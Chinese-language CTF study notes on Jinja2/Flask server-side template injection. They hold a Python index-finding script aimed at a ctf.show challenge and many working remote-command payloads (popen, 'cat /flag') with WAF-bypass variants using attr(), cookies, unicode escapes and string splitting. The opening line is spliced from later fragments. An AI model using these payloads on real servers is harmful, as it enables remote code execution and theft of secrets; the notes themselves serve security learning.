SSTI小结
首先是使用__init__方法作为跳板,然后再使用__globals__查看全局命名空间,然后找到内置字典模块,然后使用import导入sys,sys中的modules中存的有已经加载的模块的名字,然后找到主程序__main__模块,然后再查看主程序的flag属性。模块)的内存空间里。简单来说就是,过滤和解析之后的结果是不一样的,就是执行过滤的时候看是拼接的字符串,但是解析后,后端会把分开的内容进

测试是什么模板
Jinja2(Flask 最常见)
payload:{{7*7}}返回 49 → Jinja2
Freemarker
payload:${7*7}返回 49 → Freemarker
Thymeleaf
payload:[[${7*7}]]返回 49 → Thymeleaf
Velocity
payload:#set($a=7*7)${a}返回 49 → Velocity
ASP Razor
payload:@(7*7)返回 49 → Razor
PHP Smarty
payload:{7*7}返回 49 → Smarty
Java JSP
payload:<%=7*7%>返回 49 → JSP
通杀SSTI
你的起点:()
↓
object 基类
↓
os._wrap_close 类
↓
__init__
↓
__globals__ <--- 这里是 os 模块空间
↓
__builtins__ <--- 这里是 Python 内置工具箱
↓
eval() <--- 执行任意代码
__import__() <--- 导入任意模块
open() <--- 读取任意文件
寻类索引脚本
import requests
import re
requests.packages.urllib3.disable_warnings()
# ==========================================
# 【下次只用改这里!】
URL = "https://d601a325-bf75-417a-888d-15786fdad77c.challenge.ctf.show/"
PAYLOAD = "{{''.__class__.__base__.__subclasses__()}}"
TARGET_CLASS = "warnings.catch_warnings"
# ==========================================
params = {
"name": PAYLOAD
}
print("[+] 正在获取所有子类...")
r = requests.get(URL, params=params, verify=False, timeout=15)
content = r.text
if TARGET_CLASS in content:
print("[+] 找到目标类,正在计算索引...")
parts = content.split(", ")
for index, part in enumerate(parts):
if TARGET_CLASS in part:
print(f"\n=====================================")
print(f"✅ 成功找到!索引编号 = {index}")
print(f"=====================================\n")
break
else:
print("[-] 未找到目标类")
只需要改url、类名、payload
''.__class__.__base__.__subclasses__.
().__class__.__base__.__subclasses__.
[].__class__.__base__.__subclasses__.
"".__class__.__base__.__subclasses__.
{}.__class__.__base__.__subclasses__.
包含eval()函数的子类类
warnings.catch_warnings
"warnings.catch_warnings"——__globals__——'eval': <built-in function eval>
payload:
{{[].__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
重点:
- built-in function”是指内置函数,例如
eval,exec,len,open等 - 所以built-in function指的是builtions模块中的eval、len、print等函数
- builtins是一个模块,__builtins__
__builtins__就是 Python 的 “万能工具箱”Python 启动时,自动给你准备好的所有自带函数,全都放在这里面。 例如:- eval()
- print()
- open()
- int()
- str()
- __import__()
OS模块
lipsum函数
lipsum():生成一段随机的英文假文(乱码英文),用来做网页占位测试。
但是它运行在flask的全局环境中,flask在启动时,加载 lipsum 这个工具,自动导入了os模块
命名空间中就有os模块
payload:
{%print(lipsum.__globals__['os'].popen('dir').read())%}
简洁版本+未过滤{}:
{{lipsum.__globals__.os.popen('ls').read()}}
OS子类
os._wrap_close
paload:
一般为132、133
{{().__class__.__base__.__subclasses__()[132]}}
过滤{}
过滤{},可以使用%%
payload:
{%print("".__class__.__base__.__subclasses__())%}
外部需要{%print()%},内部都是一样的,lipsum或者""、[]、()、{}……
后续就是查看命令执行的子类了
过滤单引号和双引号和args
过滤单引号可以使用传参方式:
get传参
原格式为:
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}&popen=popen&cmd=ls /
传参格式为:
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=ls /
使用的是os模块子类<class 'os._wrap_close'>, 这个子类可以调用os模块进行命令执行
POST传参
cookies传参
不允许使用args了,过滤了args
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
然后使用hackbar添加cookie参数进行传参,在图片右下角

过滤中括号[]
可以用pop(索引值)
{%print("".__class__.__base__.__subclasses__()[185])%}
可以使用为:
{%print("".__class__.__base__.__subclasses__().pop(185))%}
魔术方法__getitem__也可代替中括号,绕过中括号过滤,payload:
# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}
使用点绕过:以下可在过滤了单引号、双引号、[]、args情况下使用
原样:
{{url_for.__globals__['os']['popen']('ls /').read()}}
绕过形式:
{{url_for.__globals__.os.popen(request.cookies.c).read()}}
过滤下划线__
使用attr(),attr() = 用来获取一个对象的 属性 / 方法,以下在过滤了单引号,双引号,args,[],下划线的情况下仍可以使用
绕过姿势:
(对象 | attr("属性名"))
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
如果在第一个类之后,还要再连续提取,格式为:
{{(lipsum|attr(request.cookies.b)|attr(request.cookies.c)).popen(request.cookies.a).read()}}
注意:
最外层有(),(lipsum|attr())最外层有()是为了把前边的部分当成一整个对象,所以再加一个attr()还是需要在括号内
过滤点和下划线
需要利用attr()和unicode编码
原payload为:
test?url={%print(((lipsum|attr("__globals__"))|attr("get")("os"))|attr("popen")("cat /f*")|attr("read")())%}
通过unicode编码后的payload为:
test?url={%print(((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("\u0072\u0065\u0061\u0064")())%}
payload中需要注意的点是:
- 格式需要注意,(lipsum|attr("__globals__"))是一个对象需要放在一个()括号下
- ((lipsum|attr("__globals__"))|attr("get")("os"))又是一个对象,需要放在同一个()括号下
payload思路是:
- lipsum属于jinjia2的内置函数,只要是jinjia2的内置函数,都可以通过__globals__获取jinjia2模板全局命名空间中的os模块
- Jinja2 内置函数 / 对象,都可通过
__globals__切入所属全局命名空间 - Jinja2 的渲染环境是 Flask 提供的 → 里面自带
os模块 - 所有函数的
__globals__都会指向它所属的模块全局命名空间
解码网站:
https://www.jyshare.com/front-end/3602/
编码目的为:
- waf会对输入进行过滤,但是waf不认识unicode编码,会进行放行,jinjia2模板会自动进行解码执行
- 下划线和点被过滤了,过滤下划线还可以使用cookies传参的方式来进行,但是过滤了点,为了兼容,就只能使用unicode进行编码
def to_unicode_escape(s):
return ''.join([f'\\u{ord(c):04x}' for c in s])
# 填入要编码的字符串
str1 = "__globals__"
str2 = "popen"
str3 = "cat /f*"
str4 = "get"
str5 = "read"
print(to_unicode_escape(str1), end='\n\n')
print(to_unicode_escape(str2), end='\n\n')
print(to_unicode_escape(str3),end='\n\n')
print(to_unicode_escape(str4),end='\n\n')
print(to_unicode_escape(str5),end='\n\n')
只过滤点 .
只过滤点,可以使用[]代替:
{{lipsum.__globals__.os.popen('ls').read()}}
code={{lipsum["__globals__"]['os']['popen']('ls')['read']()}}
过滤:bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
可以利用了 Jinja2 模板引擎的“字符串字面量自动拼接”特性,从而欺骗了后端的黑名单过滤器。
code={{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}
简单来说就是,过滤和解析之后的结果是不一样的,就是执行过滤的时候看是拼接的字符串,但是解析后,后端会把分开的内容进行拼接解析
典型题目一:删除系统的flag变量,然后main中留存的有
ez_ssti
from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)
flag=os.getenv("flag") //获取操作系统env中的flag变量,此时main的全局命名空间中也存了一份
os.unsetenv("flag") //然后这里把操作系统env中的flag给删除了
@app.route('/')
def index():
return open(__file__, "r").read()
@app.errorhandler(404)
def page_not_found(e):
print(request.root_url)
return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
- 就是每个文件自己运行时,自己就是main,然后这题是os.getenv,是对操作系统进行操作,也就是os,然后flag实质已经存在了,main中,然后把操作系统的flag给珊了
__main__:它是当前直接运行的那个文件(脚本)被 Python 加载后生成的模块对象 (Module Object)。- __builtins__是python出厂自带的工具箱,也是python内置的模块字典,其中包含了len、print、open这些函数,需要使用中括号来访问里面的东西
- 从
__builtins__中拿出__import__这个工具,去导入外部的sys模块 - import是导入的意思
{{x.__init__.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}
x 👉 【起点】随便抓一个模板里能用的对象当“跳板”。
.__init__ 👉 【潜入】进入这个对象的初始化方法。
.__globals__ 👉 【翻抽屉】打开这个方法所在文件的全局变量字典。
['__builtins__'] 👉 【找暗门】在字典里找到 Python 出厂自带的内置工具箱。
["__import__"] 👉 【拿提货单】从工具箱里拿出“万能模块导入函数”。
('sys') 👉 【召唤外援】用提货单强行把 sys 系统模块拉进内存。
.modules 👉 【查花名册】打开 sys 里的“已加载模块登记册”。
['__main__'] 👉 【锁定目标】在花名册里找到正在运行的主程序(app.py)。
.flag 👉 【收网拿钱】直接读取主程序内存里存着的那个 flag 变量!
用__init__作为跳板,python中万物皆对象
用我自己的话来说就是:
首先是使用__init__方法作为跳板,然后再使用__globals__查看全局命名空间,然后找到内置字典模块,然后使用import导入sys,sys中的modules中存的有已经加载的模块的名字,然后找到主程序__main__模块,然后再查看主程序的flag属性
为什么可以使用__init__做为跳板
这个问题的核心在于 Python 的一个基本设计理念:“万物皆对象”。
__init__ 虽然名字叫“初始化”,但它本质上是一个函数对象 🛠️。
在 Python 中,任何一个函数在执行的时候,都需要知道自己能访问哪些外部的全局变量。为了方便,Python 解释器会自动给所有的函数对象配备一把通往全局字典的“钥匙” 🔑,也就是 __globals__ 属性。
所以,当我们拿到 x.__init__ 时,我们并不是在执行它,而是把这位负责初始化的“工程师”请了出来,然后直接搜他身上带着的那把钥匙(__globals__),从而打开了全局变量的大门 🔐。
既然只要是个函数/方法就能当跳板,除了 __init__,对象身上还有很多其他的内置方法。比如,当我们在代码里用 str(x) 把一个对象转成字符串打印出来时,Python 底层其实偷偷调用了 x 身上的一个特殊方法。
为什么删除了系统中的flag,__main__主程序中还存在flag?
假设出题人把菜谱(文件里的 flag)写在了一张纸条上。在餐厅刚开门(程序启动)的时候,厨师(Python 解释器)把纸条上的内容看了一遍,并记在了脑子里(赋值给了 __main__ 模块里的 flag 变量)。
随后,出题人为了防止别人偷看,把那张纸条给撕了(删除了系统文件或环境变量 🗑️)。
但是,纸条被撕掉,并不会让厨师瞬间失忆!只要餐厅还没关门(程序没有重启),厨师脑子里的记忆(内存中的变量)就依然存在。
在 Python 中也是同理。当程序启动时,flag 的值就已经被读取并加载到了主程序(__main__ 模块)的内存空间里。之后出题人即使在操作系统层面删除了原始的 flag 文件,也无法抹除已经驻留在 Python 内存中的变量。所以,我们通过 SSTI 深入内存去访问 __main__ 时,依然能把这个变量“抓”出来。
更多推荐

所有评论(0)